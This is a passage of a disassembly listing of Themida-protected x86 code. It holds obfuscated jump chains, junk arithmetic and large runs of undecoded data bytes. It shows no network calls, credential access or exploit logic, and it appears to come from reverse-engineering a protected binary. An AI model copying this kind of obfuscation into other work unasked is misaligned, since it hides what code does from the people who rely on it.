		dd 4246C81h, 550A4AECh,	592434FFh, 0FF04C483h, 55E92434h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563EB3:				; CODE XREF: Themida_:00566B25j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55B660
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 5808DEBDh, 31C38144h, 1723773h, 31EB81EBh, 5D723773h
		dd 5A2434FFh, 81E68956h, 4C6h, 4C68100h, 0E9000000h, 0FFFFF9E6h
; ---------------------------------------------------------------------------


loc_563EFC:				; CODE XREF: Themida_:0055817Dj
		pop	eax
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55F737
; ---------------------------------------------------------------------------


loc_563F1A:				; CODE XREF: Themida_:00557145j
		mov	edx, 0DA5AA2h
		sub	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebp, 52376934h
		shl	ebp, 8
		xor	ebp, 0B3B2AC06h
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_564B48
; ---------------------------------------------------------------------------


loc_563F44:				; CODE XREF: Themida_:0055ED5Aj
		add	esp, 4
		push	ecx
		jmp	loc_5605AD
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0A8E98100h,	0E9784771h, 0FFFFBE0Eh
; ---------------------------------------------------------------------------


loc_563F64:				; CODE XREF: Themida_:0055A088j
		add	bl, al
		sub	bl, 0E1h
		sub	bl, 0B9h
		pop	eax
		add	bl, al
		push	3664h
		mov	[esp], ecx
		jmp	loc_561A0A
; ---------------------------------------------------------------------------
		dd 0F989EF89h, 3B51E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F86:				; CODE XREF: Themida_:0055A9D8j
		pop	edi
		pop	ebx
		push	ecx
		push	46C3h
		mov	[esp], esi
		jmp	loc_568F61
; ---------------------------------------------------------------------------


loc_563F96:				; CODE XREF: Themida_:00564F99j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_561347
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 0FD79E900h,	8F54FFFFh, 4832404h, 3C8B0424h
		dd 5FE95224h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FC3:				; CODE XREF: Themida_:0055601Ej
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edi
		push	4
		jmp	loc_561035
; ---------------------------------------------------------------------------


loc_563FD9:				; CODE XREF: Themida_:0056285Ej
		inc	esi
		jmp	loc_560751
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1CE0h, 4BDh, 5DEB2900h,	5C241C87h, 81240489h, 4ECh
		dd 0CF08E900h, 83BEFFFFh, 1DB2C04h, 240C8BCEh, 0FFD738E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56400D:				; CODE XREF: Themida_:00568346j
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_563E1B
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8104C4h, 4, 0FFAAB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564025:				; CODE XREF: Themida_:0055C372j
		shl	edx, 1
		jmp	loc_565F9E
; ---------------------------------------------------------------------------
		dd 6824248Bh, 331Dh, 68241489h,	100h, 0FFD0215Ah, 535A2434h
		dd 338D68h, 6BE95400h, 0BEFFFFB1h, 0ED35AA4h, 348BF521h
		dd 4C48124h, 81000000h,	0B8D777EDh, 0B34BE9CAh,	3487FFFFh
		dd 30C0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564072:				; CODE XREF: Themida_:00562B6Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	6ACBh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_558292
; ---------------------------------------------------------------------------


loc_5640A0:				; CODE XREF: Themida_:00560B7Aj
		sub	edx, 0C94B62A7h
		xor	esi, edx
		pop	edx
		or	edi, esi
		pop	esi
		xor	edi, 8942EF51h
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_567794
; ---------------------------------------------------------------------------
aYsK		db 'YéÇk',0
		db 0
; ---------------------------------------------------------------------------


loc_5640CD:				; CODE XREF: Themida_:0055D3CAj
		and	ebx, ebp
		pop	ebp
		or	ebx, 15711927h
		push	ebp
		jmp	loc_5653CB
; ---------------------------------------------------------------------------


loc_5640DC:				; CODE XREF: Themida_:0056B26Fj
		mov	eax, esp
		push	440Ch
		mov	[esp], edx
		mov	edx, 7BB7354Eh
		inc	edx
		jmp	loc_55E067
; ---------------------------------------------------------------------------
		db 2Dh,	71h, 8Eh
		dd 0C629EFE0h, 8324048Bh, 93E904C4h, 5CFFFFE5h,	3738C781h
		dd 0F831DFB2h, 0FFEE61E9h, 1BAEE9FFh, 895CFFFFh, 6853240Ch
		dd 0B48h, 0B1240C89h, 1B450B3h,	888CC480h, 0CB3058E3h
		dd 15C38059h, 34FFDD88h, 0E8E95B24h, 81FFFF1Fh,	6D2D31F1h
		dd 0D1F7492Fh, 0EA2CF181h, 0CB018C11h, 0FFA4F8E9h, 2C481FFh
		dd 0E9000000h, 0FFFFF517h
; ---------------------------------------------------------------------------


loc_564160:				; CODE XREF: Themida_:0056A195j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 332A0FA2h
		not	eax
		not	eax
		add	eax, 0CCD5F062h
		add	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5572B0
; ---------------------------------------------------------------------------
		dd 1FDEE950h, 0EDC1FFFFh, 0BE565702h, 205E5859h, 5E5858BFh
		dd 8BF72920h, 0C4832434h, 0A98EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5641AA:				; CODE XREF: Themida_:0056A993j
		sub	edx, ecx
		jmp	loc_562D3E
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 1402E9h
		db 0
; ---------------------------------------------------------------------------


loc_5641B9:				; CODE XREF: Themida_:0055788Aj
		pop	edx
		and	cl, 13h
		push	ax
		jmp	loc_5645FF
; ---------------------------------------------------------------------------
		dd 45B0BF57h, 0DFF71B20h, 0E906EFC1h, 0FFFF2CF9h, 0E92434FFh
		dd 609Ch
; ---------------------------------------------------------------------------


loc_5641DC:				; CODE XREF: Themida_:0055A150j
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5670C1
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3F74h
; ---------------------------------------------------------------------------


loc_5641F0:				; CODE XREF: Themida_:0055B4F8j
		add	ebx, 0DB300F0h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 42FE2945h
		jmp	loc_563187
; ---------------------------------------------------------------------------
		db 81h
		dd 3F2623C3h, 0A516E915h, 0FC88FFFFh, 2DF4E9h, 88FCB600h
		dd 0DF045AF7h, 0DF2CF828h, 148B5B66h, 3796E924h, 0EB810000h
		dd 646D2BB9h, 4C3815Eh,	53000000h, 42474FFh, 53241C8Bh
		dd 0C381E389h, 4, 0FF5511E9h, 0C5015AFFh, 52D4E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56425A:				; CODE XREF: Themida_:0055FF3Fj
		push	esi
		pop	ecx
		jmp	loc_557476
; ---------------------------------------------------------------------------


loc_564261:				; CODE XREF: Themida_:005567C8j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_55E9CB
; ---------------------------------------------------------------------------
		dd 2859EB00h, 0E95266F3h, 0FFFF961Dh, 4C481h, 13E90000h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56429B:				; CODE XREF: Themida_:0055B6D5j
		mov	eax, 567B258Bh
		xor	eax, 85509B5h
		sub	eax, 5D6E71F5h
		xor	eax, 6EEC8C2h
		and	edx, eax
		pop	eax
		add	edx, 1DCF512Bh
		mov	ebp, edx
		pop	edx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 7
		neg	ebp
		push	ecx
		push	edi
		push	24B9273Ch
		mov	edi, [esp]
		jmp	loc_557D44
; ---------------------------------------------------------------------------
		dd 3058F781h, 0F78101D9h, 5CA30FDAh, 0C781D7F7h, 35C30DB7h
		dd 3EF3F781h, 7E919F8h,	57FFFF50h, 0FF22B1E9h, 0EEC159FFh
		dd 0E9DEF705h, 0FFFFDB41h, 81242489h, 42404h, 5580000h
		dd 4, 0D70B951h, 49E95410h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56431F:				; CODE XREF: Themida_:00556B4Dj
		mov	eax, 738F00ABh
		jmp	loc_562A02
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 96C9E924h,	0EA83FFFFh, 24148704h, 240C895Ch
		dd 8904EC83h, 0BF572424h, 4, 4247C01h, 0FFE6C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564355:				; CODE XREF: Themida_:00565874j
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5628D8
; ---------------------------------------------------------------------------


loc_564371:				; CODE XREF: Themida_:0055E1EEj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_56A8C0
; ---------------------------------------------------------------------------


loc_564382:				; CODE XREF: Themida_:0056A82Fj
		push	ecx
		jmp	loc_55AF5D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFD6B2h
; ---------------------------------------------------------------------------


loc_564390:				; CODE XREF: Themida_:00561B44j
		add	esi, 0B0876EBh
		sub	esi, 8677624h
		mov	ecx, [esp]
		jmp	loc_555FD5
; ---------------------------------------------------------------------------
		dd 182569BBh, 53E38172h, 576D985Fh, 937ECBBFh, 0EF810Ch
		dd 21DBB468h, 0E3C15FFBh, 0D5C38106h, 8131F451h, 0A9DEFC3h
		dd 4EC83C8h, 89240489h,	0E9C589D8h, 0FFFF9468h,	0E92434FFh
		dd 0FFFF44FBh, 0E907E0C1h, 3F4h, 0B4D4E952h, 0EC81FFFFh
		dd 4, 88241C89h, 0E91888EBh, 5604h
; ---------------------------------------------------------------------------


loc_564404:				; CODE XREF: Themida_:0055C59Ej
		push	ebx
		mov	ebx, 4295CBEh
		jmp	loc_561901
; ---------------------------------------------------------------------------


loc_56440F:				; CODE XREF: Themida_:0055CDA4j
		push	462Bh
		mov	[esp], ecx
		jmp	loc_56447F
; ---------------------------------------------------------------------------
		dd 5DD2BE56h, 0D6F76C5Bh, 531CC681h, 0F68172DDh, 5DCE2052h
		dd 0B3CFEE81h, 90E934B5h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56443B:				; CODE XREF: Themida_:0055BABAj
		xor	eax, 67AE2C62h
		xchg	eax, esi
		neg	esi
		xchg	eax, esi
		neg	eax
		jmp	loc_569459
; ---------------------------------------------------------------------------
		db 89h
		dd 74B9240Ch, 8110025Eh, 105A53F1h, 0BBC98159h,	4115842Dh
		dd 0FFBA20E9h, 2CEA80FFh, 34FFD588h, 0D34CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564472:				; CODE XREF: Themida_:005638C2j
		push	small 2038h
		mov	[esp], dx
		jmp	loc_5599CF
; ---------------------------------------------------------------------------


loc_56447F:				; CODE XREF: Themida_:00564417j
		mov	ch, 0EAh
		sub	ch, 44h
		dec	ch
		add	ch, 0E3h
		add	ch, 46h
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56656C
; ---------------------------------------------------------------------------


loc_56449C:				; CODE XREF: Themida_:0055ED83j
		mov	[esp], eax
		pop	edx
		mov	edi, edx
		pop	edx
		jmp	loc_5634AD
; ---------------------------------------------------------------------------
		dd 0EA43E952h, 405FFFFh, 0E9000000h, 1FEAh, 0E9240C89h
		dd 0FFFF340Fh, 8EEF8147h, 31FB5778h, 0C5315FF8h, 582434FFh
		dd 356E9h, 4C48300h, 34FFD801h,	84E95B24h, 58000033h, 0C107EBC1h
		dd 7EE902EBh, 5FFFFF6Bh, 0FF4132E9h, 42E981FFh,	10EEC15h
		dd 42C181F9h, 5F0EEC15h, 0BE56D129h, 3F310715h,	2468E981h
		dd 0EEE96439h, 89000064h, 11B9240Ch, 0E9424C54h, 0FFFFCE68h
		dd 4C681h, 0C6830000h, 74FF5604h, 0C9E90424h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564537:				; CODE XREF: Themida_:00555EBEj
		push	ebx
		mov	ebx, 54DE3D6Ch
		jmp	loc_565B22
; ---------------------------------------------------------------------------
		dw 0FF54h
a4Sf3		db '4$^éF3',0
		align 4


loc_56454C:				; CODE XREF: Themida_:0055D881j
		push	eax
		mov	eax, 3019069Dh
		inc	eax
		neg	eax
		jmp	loc_5574A6
; ---------------------------------------------------------------------------


loc_56455A:				; CODE XREF: Themida_:00569D29j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55A168
; ---------------------------------------------------------------------------
		dd 8704E983h, 895C240Ch, 0E954240Ch, 3899h, 0E92C77FFh
		dd 0FFFF431Bh, 2F45EA81h, 0C1E93B98h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564593:				; CODE XREF: Themida_:0055BD47j
		add	ebx, 0FFFFFFFFh
		not	ebx
		jmp	loc_566B56
; ---------------------------------------------------------------------------
		dd 0DA04D800h, 0FFCAAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5645A9:				; CODE XREF: Themida_:00568719j
		push	800h
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_562B62
; ---------------------------------------------------------------------------


loc_5645C5:				; CODE XREF: Themida_:00560F48j
		or	edi, 1D490F57h
		sub	edi, 13450047h
		add	edi, 2C793B73h
		xor	ebx, edi
		pop	edi
		xor	edx, ebx
		pop	ebx
		jmp	loc_55CD78
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24043304h, 33240431h, 248B2404h, 0E2895224h,	4BB53h
		dd 0E5E90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5645FF:				; CODE XREF: Themida_:005641BFj
		mov	ah, 2
		xor	cl, ah
		pop	ax
		sub	cl, 0FFh
		push	ebx
		mov	bl, 9Bh
		not	bl
		inc	bl
		xor	bl, 6
		and	cl, bl
		mov	ebx, [esp]
		push	edx
		jmp	loc_5656D1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4ED81h, 2C330000h, 242C3124h, 0E9242C33h, 0FFFFA2FEh
		dd 734C77BFh, 56E94749h, 5FFFFFE2h, 81DFF75Dh, 0B62F4CFh
		dd 4FDFF701h, 2FECC781h, 0F901EDACh, 0FFC335E9h, 1C77FFFFh
		dd 0D259669Dh, 0E99C2414h, 1517h, 405h,	4BB5300h, 1000000h
		dd 0EDABE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56467A:				; CODE XREF: Themida_:0056664Aj
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 48B55C7Bh
		jmp	loc_559A8F
; ---------------------------------------------------------------------------
		dd 321E68h, 48F5400h, 24048324h, 6685D04h, 89000006h, 0E8BA2414h
		dd 0E9041A7Fh, 0FFFF316Eh, 815EF209h, 4C7E3DE2h, 0D2F74A0Fh
		dd 0FF578AE9h, 0DCB850FFh, 0F7539D61h, 8CDBE9D0h, 0C281FFFFh
		dd 4, 31241433h, 14332414h, 24248B24h, 0E9241487h, 0FFFFA8CCh
		dd 470975BFh, 0E9FE0148h, 0FFFF3F8Bh, 0C181D9F7h, 0F8955894h
		dd 559CA89h, 1F275BD7h,	0D72DD001h, 5A1F275Bh, 2D6768h
		dd 242C8900h, 4F7B0CBDh, 8018E93Ah, 0D204FFFFh,	6439E9h
		dd 0CF832D00h, 0C329B365h, 81C30158h, 0C7643C3h, 4D41E972h
		dd 0EC83FFFFh, 5EA9E904h, 74FF0000h, 8F5F0424h,	0E95C2404h
		dd 0FFFFC29Fh
; ---------------------------------------------------------------------------


loc_564748:				; CODE XREF: Themida_:0055D14Aj
		add	ecx, 1
		push	ebp
		push	ebx
		jmp	loc_555E94
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 96h
		dd 8976FF1Fh, 240C8BCFh, 4C481h, 0F8890000h, 81243C8Bh
		dd 4C4h, 0E9C10100h, 0FFFF676Ah, 43457CBDh, 5DEB017Ch
		dd 241C8759h, 8324248Bh, 348904ECh, 7213BE24h, 0F6811970h
		dd 639774D4h, 565EB951h, 0C9812B2Fh, 7E9D5D9Bh,	0F707E9C1h
		dd 0E98141D1h, 0BD8C5017h, 7CE9CF01h, 8100001Eh, 4C6h
		dd 4C68100h, 87000000h,	0E95C2434h, 0FFFFECECh
; ---------------------------------------------------------------------------


loc_5647CC:				; CODE XREF: Themida_:005578A1j
		xor	ebx, 0ED75027h
		mov	ebp, ebx
		pop	ebx
		add	[esp+4], ebp
		pop	ebp
		pop	edx
		jmp	loc_56778E
; ---------------------------------------------------------------------------
a5HiS		db '5´h‰Û!ÇéÇ&',0
		align 4


loc_5647EC:				; CODE XREF: Themida_:005657E7j
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	4AF12853h
		pop	ebp
		dec	ebp
		sub	ebp, 465B13F8h
		mov	ecx, ebp
		pop	ebp
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		push	esi
		jmp	loc_56012A
; ---------------------------------------------------------------------------
		dw 55ADh
		dd 0D61F6ABDh, 7EDC103h, 676EC581h, 0F58159F0h,	4F8C28DFh
		dd 2CE9E801h, 68FFFF1Eh, 3BB1h,	0E9243489h, 62ADh, 3B34BF57h
		dd 0C781204Fh, 1, 0FFCEACE9h, 0C2815AFFh, 0D64CD817h, 6EE9D589h
		dd 0B3FFFFBEh, 80DBF614h, 0EB8096E3h, 5BDC880Eh, 5158E300h
		dd 0EB8026B5h, 80EB2891h, 34FF91C3h, 0C4835924h, 4EC8104h
		dd 89000000h, 0EC81240Ch, 4, 0FFECCEE9h, 0C3C681FFh, 5126A024h
		dd 4C539868h, 0C6815917h, 6A2D6DA8h, 0FF8815E9h, 81CE01FFh
		dd 536FEAC6h, 98C68153h, 8B210E5Fh, 4E9240Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648BB:				; CODE XREF: Themida_:00568E9Ej
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 25C81E74h
		push	6A60h
		mov	[esp], ebp
		push	edi
		mov	edi, 0FCEF3ADAh
		mov	ebp, edi
		pop	edi
		push	edi
		jmp	loc_5681C4
; ---------------------------------------------------------------------------


loc_5648DD:				; CODE XREF: Themida_:005673F8j
		add	esi, edx
		jmp	loc_568248
; ---------------------------------------------------------------------------
		dd 71FD6866h, 628EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5648ED:				; CODE XREF: Themida_:0055C956j
		mov	[esp], eax
		mov	ah, ch
		mov	bl, ah
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	edx
		jmp	loc_563701
; ---------------------------------------------------------------------------
		db 88h,	18h, 0FFh
		dd 815B2434h, 4C4h, 5235E900h, 4D35FFFFh, 0E9545B46h, 0FFFFDBBFh
; ---------------------------------------------------------------------------


loc_564920:				; CODE XREF: Themida_:00559C66j
		push	esi
		jmp	loc_56949F
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E45DE924h, 0EBC1FFFFh, 84E38106h, 562F1471h, 8D5B41BEh
		dd 841CE912h, 0F901FFFFh, 0E9243C8Bh, 0FFFF7D04h, 240C8B66h
		dd 5E7F68h, 0EC28E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56495A:				; CODE XREF: Themida_:005695BAj
		push	2ACh
		mov	[esp], edx
		push	eax
		mov	eax, 19DE445Ch
		push	eax
		jmp	loc_559D7F
; ---------------------------------------------------------------------------


loc_56496E:				; CODE XREF: Themida_:005597EEj
		add	eax, 45941785h
		add	eax, 2C73731Bh
		jmp	loc_56A8F2
; ---------------------------------------------------------------------------


loc_56497D:				; CODE XREF: Themida_:00569F29j
		mov	esi, esp
		jmp	loc_556CE6
; ---------------------------------------------------------------------------
		dd 4240483h, 0F6B8505Bh, 56E2A76h, 61F4218h, 0B646F605h
		dd 5BE9558Bh, 0F6FFFF65h, 3E5DE9D0h, 4BF0000h, 29000000h
		dd 2C875FFDh, 4895C24h,	0DFBF5724h, 813C2322h, 49CCD1EFh
		dd 4F50E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5649C6:				; CODE XREF: Themida_:0055A0FFj
		push	eax
		push	295521B8h
		pop	eax
		shr	eax, 4
		xor	eax, 47C64854h
		add	eax, 2F3B45E3h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp+8], 57E320EBh
		add	[esp+8], ecx
		add	dword ptr [esp+8], 57E320EBh
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_566934
; ---------------------------------------------------------------------------
		db 88h,	0D4h, 88h
		dd 148B58E3h, 2180E924h, 8159FFFFh, 4C4h, 7742E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A2A:				; CODE XREF: Themida_:00559144j
		push	6603h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_55E835
; ---------------------------------------------------------------------------
		db 58h
		dd 0E948A22Dh, 0E9C389EBh, 0FFFF17B7h
; ---------------------------------------------------------------------------


loc_564A48:				; CODE XREF: Themida_:0055A3D7j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0C1000000h, 0C3E900E9h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A5B:				; CODE XREF: Themida_:0055B85Bj
		xor	esi, edi
		pop	edi
		push	5150h
		mov	[esp], esi
		jmp	loc_5575AF
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95A0203h, 0FFFF8B0Ah
; ---------------------------------------------------------------------------


loc_564A74:				; CODE XREF: Themida_:00559731j
		add	esp, 4
		mov	edx, edi
		pop	edi
		jmp	loc_55E6C7
; ---------------------------------------------------------------------------
		dw 5B59h
		dd 0E92434FFh, 0FFFF3B0Fh, 0EE4C70B8h, 225D0D42h, 2DE95A4Fh
		dd 80FFFFF1h, 752C27EEh, 0FF5D53E9h, 5BDE89FFh,	0E681DEF7h
		dd 281E2B7Fh, 0F7F6814Eh, 2979FC32h, 9DE95EF3h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564ABF:				; CODE XREF: Themida_:00556ACFj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_566EF2
; ---------------------------------------------------------------------------


loc_564AC8:				; CODE XREF: Themida_:00556CECj
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		shr	dl, 7
		jmp	loc_55ADEC
; ---------------------------------------------------------------------------


loc_564ADA:				; CODE XREF: Themida_:0056228Aj
		mov	dh, al
		mov	bh, dh
		pop	edx
		jmp	loc_561141
; ---------------------------------------------------------------------------
		dd 0DCE9FB01h, 1FFFF8Bh, 19D6E9CBh, 835D0000h, 0F181FFE9h
		dd 5EDA7B84h, 8159CE01h, 4EEh, 24348700h, 8924248Bh, 0E389241Ch
		dd 4C381h, 0DF680000h, 89000012h, 8DBD242Ch, 0F75BEC5Bh
		dd 51E581DDh, 8143380Dh, 0A30F44CDh, 26ED817Eh,	81795E65h
		dd 0C20B89EDh, 0A4F58130h, 0E9D4929Eh, 1903h
; ---------------------------------------------------------------------------


loc_564B48:				; CODE XREF: Themida_:00563F3Fj
		pop	ebp
		jmp	loc_55CA47
; ---------------------------------------------------------------------------
aW_soh		db 'W[_éŽH',0
		align 2
		dw 8F58h
		dd 835C2404h, 0F6E904C4h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564B63:				; CODE XREF: Themida_:0055D76Aj
		sub	bl, 60h
		add	bl, 55h
		jmp	loc_557A38
; ---------------------------------------------------------------------------


loc_564B6E:				; CODE XREF: Themida_:005610E2j
		pop	esp
		sub	al, dl
		jmp	loc_55D0F9
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 6C7EE81h, 0BA5275D0h, 48470975h, 0FF2C81E9h,	0FBB53FFh
		dd 0E9549C1Ch, 4980h, 2434895Ch, 42474FFh, 24048F5Eh, 3431D6F7h
		dd 24343324h, 8B243431h, 97682414h, 0E900001Fh,	1F0Eh
		dd 12454F6h, 0F8885B66h, 88D4345Bh, 24048BC1h, 4C481h
		dd 2A680000h, 89000049h, 8CB02404h, 48BC120h, 0E1895124h
		dd 786CBD55h, 0D5F71A54h, 0CD81DDF7h, 2047319Eh, 0ED81DDF7h
		dd 23E0647Bh, 0FFD926E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564BFD:				; CODE XREF: Themida_:0055A56Dj
		mov	edi, 731E665Eh
		not	edi
		jmp	loc_563A5C
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0D3h
		dd 2BA525Ah, 1000000h, 32AFE9D3h, 555E0000h, 0A56F4BDh
		dd 0FAB85019h, 52710E5Bh, 2C8BBF57h, 0F7816EFDh, 3FA177A4h
		dd 0CCE9FA89h, 5BFFFFF0h, 2E60CE81h, 0F6817C0Eh, 18317BDEh
		dd 55E9F529h, 83FFFFD1h, 3C8704EFh, 0CAE95C24h,	59FFFF97h
		dd 5BAAE9h, 5AD30900h, 7EDF381h, 0F38105BAh, 7A4C7815h
		dd 14E9DA89h, 57000019h, 91BD5552h, 0BA718975h,	7C73401h
		dd 895DEA31h, 24148BD7h, 4C481h, 0F8010000h, 4CC4E9h, 5FF92900h
		dd 2CFCE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CA2:				; CODE XREF: Themida_:005680C1j
		push	ebx
		jmp	loc_565DFC
; ---------------------------------------------------------------------------


loc_564CA8:				; CODE XREF: Themida_:005670C2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2C8Eh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5632BE
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 3E15BF24h, 0EF810084h, 1, 0FFF7EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564CD1:				; CODE XREF: Themida_:0056A049j
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 17792260h
		sub	edx, esi
		add	edx, 17792260h
		sub	edx, 765F27DCh
		pop	esi
		and	eax, edx
		pop	edx
		jmp	loc_55FC5E
; ---------------------------------------------------------------------------
		db 81h
		dd 3D52AEC1h, 0ABE9816Ah, 1DAC2ACh, 0EA8159CAh,	4, 5C241487h
		dd 0BB241C89h, 84D21DDh, 22E9DD89h, 0FFFFFF4Ch,	0E9042474h
		dd 0FFFF2846h, 5F95E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564D2E:				; CODE XREF: Themida_:00558F50j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_556D41
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 4BD555Eh, 51000000h,	521488B9h, 0E9CA291Ch, 0FFFF3483h
; ---------------------------------------------------------------------------


loc_564D50:				; CODE XREF: Themida_:00560ECAj
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_557549
; ---------------------------------------------------------------------------
		dw 4401h
		dd 8F580424h, 49E92404h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564D77:				; CODE XREF: Themida_:0055AD17j
		pop	dword ptr [esp]
		pop	esp
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5572DF
; ---------------------------------------------------------------------------
		db 56h
		dd 0C5CBBBEh, 53F6815Fh, 514CE348h, 0FF2DC7E9h,	4C483FFh
		dd 24148B66h, 7DBA68h, 240C8900h, 0FF2CBAE9h, 0F5815FFFh
		dd 80B024Eh, 34FFEE01h,	0C4835D24h, 3944E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DC6:				; CODE XREF: Themida_:0055BE97j
		push	edx
		mov	dx, 4F84h
		mov	di, dx
		pop	edx
		mov	si, di
		pop	edi
		push	edx
		jmp	loc_56639F
; ---------------------------------------------------------------------------


loc_564DD9:				; CODE XREF: Themida_:005600B3j
		add	ebp, edx
		push	eax
		mov	eax, 69C5165Ah
		sub	eax, 0FB9FDED4h
		sub	ebp, eax
		pop	eax
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5566CA
; ---------------------------------------------------------------------------


loc_564E01:				; CODE XREF: Themida_:00565D81j
		mov	[esp], esi
		push	eax
		mov	eax, 4
		mov	esi, eax
